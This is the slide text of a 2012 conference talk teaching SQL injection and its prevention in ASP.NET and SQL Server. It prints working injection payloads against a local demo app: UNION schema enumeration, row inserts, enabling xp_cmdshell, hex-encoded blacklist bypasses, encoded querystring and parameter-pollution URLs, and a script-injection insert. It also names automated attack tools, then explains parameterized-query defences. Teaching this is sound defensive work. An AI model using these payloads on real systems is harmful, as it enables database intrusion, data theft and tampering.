abcd ’; DROP TABLE PRESENTATIONS; --

1. Understanding and Preventing SQL Injection abcd’; DROP TABLE PRESENTATIONS; -- AKA SQL Injection: the fast, fun, and easy way to ruin someone’s day Columbus Code Camp 2012 Kevin Feasel feaselkl@gmail.com

2. Who Am I? • Database Administrator • Former web developer • SQL Server DBA • Currently working for Aetna • Standard employer disclaimer • Security Nut • Cyclist • Occasional world traveler

3. What Is SQL Injection? • Injecting code in a manner the application developers did not expect • Example: your text box populates @Parameter to do a lookup on a table. Bad guy overloads @Parameter to perform some unexpected operation

4. Why Should I Care? • Not everyone is as nice as Good Guy Greg • By 2006, web application vulnerabilities had become more popular than buffer overflows: http://cwe.mitre.org/documents/vuln-trends/index.html • Cross-site scripting #1, SQL Injection #2 • SQL Injection now #1: https://www.owasp.org/index.php/Top_10_2010-Main • Imperva (2011): 83% of successful data breaches involve SQLi

5. Companies Which Should Have Cared

6. Has Sony Been Hacked This Week?

7. But I’m Just One Man; What Can I Do? • As an attacker: • Get schema information • Get protected data • Perform “administrative” tasks • Create bogus user accounts (including admins) • Create, drop, alter tables or views • Delete, update, or insert data • Run arbitrary executable code • As a defender: • Protecting against SQL injection is stupid easy in ASP.NET

8. Jumping Right In If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle. – Sun Tzu, The Art of War • Defense requires knowledge • To defend against SQL injection, we must know how to perform SQL injection • Demo Setup

9. Danger, Will Robinson Need a reason to update your resume? Try putting this code on a production machine! Goofus would: • Hack naked • Exploit external sites • Point out that résumé is spelled with e-acutes

10. Demo Time: Put On Your Safety Goggles • Starting in SQL Server Management Studio • Treat this as your lab • Open up SQL Profiler • Watch the actual queries as they pass through • Get rolling with Demo 1

11. What Went Wrong? • SQL injection works by getting ‘outside’ the parameter • We weren’t able to • Lesson 1: can’t inject static SQL directly • Dynamic SQL • Ad hoc query • T-SQL Dynamic SQL

12. Demo #2: Win Or You’re Out Of The Family • Try this again, using dynamic SQL • Survey says? Success. • Lesson 2: Using unsecured dynamic SQL, we can successfully attack • Now we’re ready to look at practical applications

13. Anatomy of a SQL injection attack • Basic SQL query looks like: “select [cols] from [table] where [filter] like ‘%” + @Filter + “%’;” • SQL comment line: -- • Example of a potential attack: @Filter = “boo’ OR 1 = 1; --” • Turns into: “select [cols] from [table] where [filter] like ‘%boo’ OR 1 = 1; --%;”

14. The Naïve Developer • Basic task: load a grid based upon filtering criteria entered into a text box • Our naïve developer hits the Googles and finds out how to use a SqlDataReader • The code works: searches are successful • Even checks the filter to make sure a value exists

15. Having Fun With The Naïve Developer • f%' OR 1 = 1-- • Bypass the filter: list all records • Not fun enough! Gimme more! • SHOOOO%' UNION select TABLE_SCHEMA + '.' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES-- • Pick a name which doesn’t exist; now we have a list of tables • SHOOOO%' UNION select COLUMN_NAME + '; ' + DATA_TYPE, case when IS_NULLABLE = 'NO' then 0 else 1 end, ORDINAL_POSITION from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'ProductSubcategory' and TABLE_SCHEMA = 'Production'-- • Recon on a particular table • SHOOOO%' UNION select Name, ProductSubcategoryID, ProductCategoryID from Production.ProductSubcategory-- • Looking at the actual data in that table

16. Having Fun With The Naïve Developer • SHOOOO%'; insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, 'Evil Hacker Subcategory', newid(), current_timestamp);-- • Boom! Exploit complete. • nada'; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; -- • Turn on xp_cmdshell, letting us run external apps

17. Our Developer’s Response • Users mention this “evil hacker subcategory.” Developer investigates. • More internet searching: dev learns about blacklisting and creates a filter for his filter • No more of this “select” and “insert” rubbish!

18. In Retrospect… • Problem: the little old ladies using our program just got scared because they looked for the “Selected” subcategory

19. Back To The Drawing Board • Need a slightly less naïve approach to filtering • Our developer has a stroke of genius: evil hackers need to use “select” + space, whereas our little old ladies would use “select” without a space. We now have a separating equilibrium. • Problem: you’re doing it wrong. • Proof: SHOOOO%' UNION select TABLE_SCHEMA + '.' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES-- • Yeah, that’s a tab (hex 09). Other valid separators: 0A, 0B, 0C, 0D, A0

20. 150 Copy-Pastes Later… • After adding various permutations of SQL commands + separators… • declare @shmoo varchar(8000); set @shmoo = CAST(0x73656C656374095441424C455F534348454D41202B20272E27202B205441424C455F4E414D45206173204E616D652C20312061732049734163746976652C203120617320536F72744F726465722066726F6D20494E464F524D4154494F4E5F534348454D412E5441424C4553 as varchar(8000)); exec(@shmoo);

21. Translating The Varbinary • select cast('select TABLE_SCHEMA + ''.'' + TABLE_NAME as Name, 1 as IsActive, 1 as SortOrder from INFORMATION_SCHEMA.TABLES' as varbinary(8000)) • Important note: this won’t combine data together • Varbinary runs are better for insert/update/delete operations

22. Other Fun Stuff We Can Do • select CAST('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<a href="http://www.google.com">Hacker Domain</a>'', newid(), current_timestamp);' as varbinary(8000)); • Add in undesired links. Hint from Heloise: this looks suspiciously like the beginning of a cross-site scripting attack!

23. Other Fun Stuff We Can Do select CAST('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<script type="text/javascript">alert("A")</script>'', newid(), current_timestamp);' as varbinary(8000));

24. Querystring Injection • Helpful table to understand querystring injection:

25. Querystring Injection • http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=bike%25%27%20or%201%3D1%2D%2D • Translates to: “bike%’ or 1=1--” • The way we did the Slightly Less Naïve Stop actually helps us here by preventing some querystring attacks: http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=bike%25%27%20union%20select%20table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D • That “select%20” is equivalent to “select “

26. Querystring Injection • Injecting other whitespace characters is as easy as %09…or %0A… • http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=prevention%25%27%20union%20select%09table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D

27. HTTP Parameter Pollution • In ASP.NET, including a parameter multiple times causes the different entries to be concatenated and separated by commas: • http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=36&search=jump&search=street • Turns into “36,jump,street” in our search • This can be used for evil. • Any guesses how?

28. HTTP Parameter Pollution • http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=prevention%25%27%20union%20select%2F%2A&search=%2A%2F%20table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D • %2F%2A = /* • Translates to “select/*,*/ table_schema…”

29. HTTP Parameter Pollution • HTTP Parameter Pollution is something most people don’t even think about • It doesn’t help that different platforms react in different ways—concatenate, ignore all but the last, etc.

30. Effects On Different Platforms https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

31. Doing It Right: Parameterized Queries • The right way to do it: • All parameters created using SqlParamter • Not necessary to use stored procedures, though in SQL Server, this is preferable • Stored Procedure-Driven Test not susceptible to SQL injection. You are safe from this issue. • Secure Query-Driven Test not susceptible either

32. Adding Dynamic SQL Into The Mix • Basic insecure dynamic SP: • create procedure BadProc @Filter nvarchar(500)as declare @sqlvarchar(250); set @sql = ‘select * from table where Name like ‘’%’ + @Filter + ‘%’’;’; exec(@sql); • The basic problem is the same as in the query-driven injection example: that @Filter is not sanitized or parameterized.

33. Attacking Insecure Dynamic SPs • Easy to perform attacks on unprotected dynamic stored procedures from SSMS: • exec BadProc @Filter='SHOOOO%'' UNION select TABLE_SCHEMA + ''.'' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES--'; • Parameterized queries prevent this from being an issue in ASP.NET

34. Protecting Your Dynamic SPs • Use sp_executesql • Could also use a combo of QUOTENAME and REPLACE • Include the parameter as a parameter inside the @sql to run • Example: declare@sqlnvarchar(max);set@sql='select ProductSubcategoryID, ProductCategoryID, Name from Production.ProductSubcategory where Name like ''%@Filter%'';'; execsp_executesql @sql,N'@Filtervarchar(200)',@Filter; • Once you do this, you are completely safe from SQL injection.

35. Recap: What To Do • Parameterize Your Queries! • Use SqlParameter to handle input in ASP.Net • Use sp_executesql correctly when you do use dynamic SQL • Understand your data domain • Correct data sizes (not too large) • Input field has correct length • Regular expressions for well-defined field types (e.g., phone number, Social Security Number) • Blacklists usually don’t work, but whitelists can • Create limited-access accounts for web applications • Constraints in UI, business objects, and database • Defense in depth • This isn’t really a violation of DRY • If I can beat two of your three checks, the third could still stop me

36. Next Steps • Automation • Havij (most popular; easy GUI) • Sqlmap (my favorite) • BSQL Hacker (blind SQL injection) • BBQSQL (Python-based blind SQL injection) • Fast-Track (Metasploit module) • Plenty more where this came from • Really evil stuff

37. Q&A Kevin Feasel feaselkl@gmail.com